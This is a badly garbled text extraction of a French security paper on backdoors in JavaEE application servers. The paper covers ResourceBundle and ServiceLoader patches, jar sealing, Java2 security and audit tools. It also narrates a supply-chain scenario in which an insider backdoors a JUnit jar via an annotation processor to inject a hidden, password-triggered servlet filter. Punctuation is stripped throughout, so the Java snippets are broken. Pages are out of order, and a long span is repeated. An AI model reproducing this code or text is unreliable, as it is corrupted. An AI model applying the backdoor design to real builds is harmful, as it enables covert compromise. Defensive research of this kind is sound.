Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
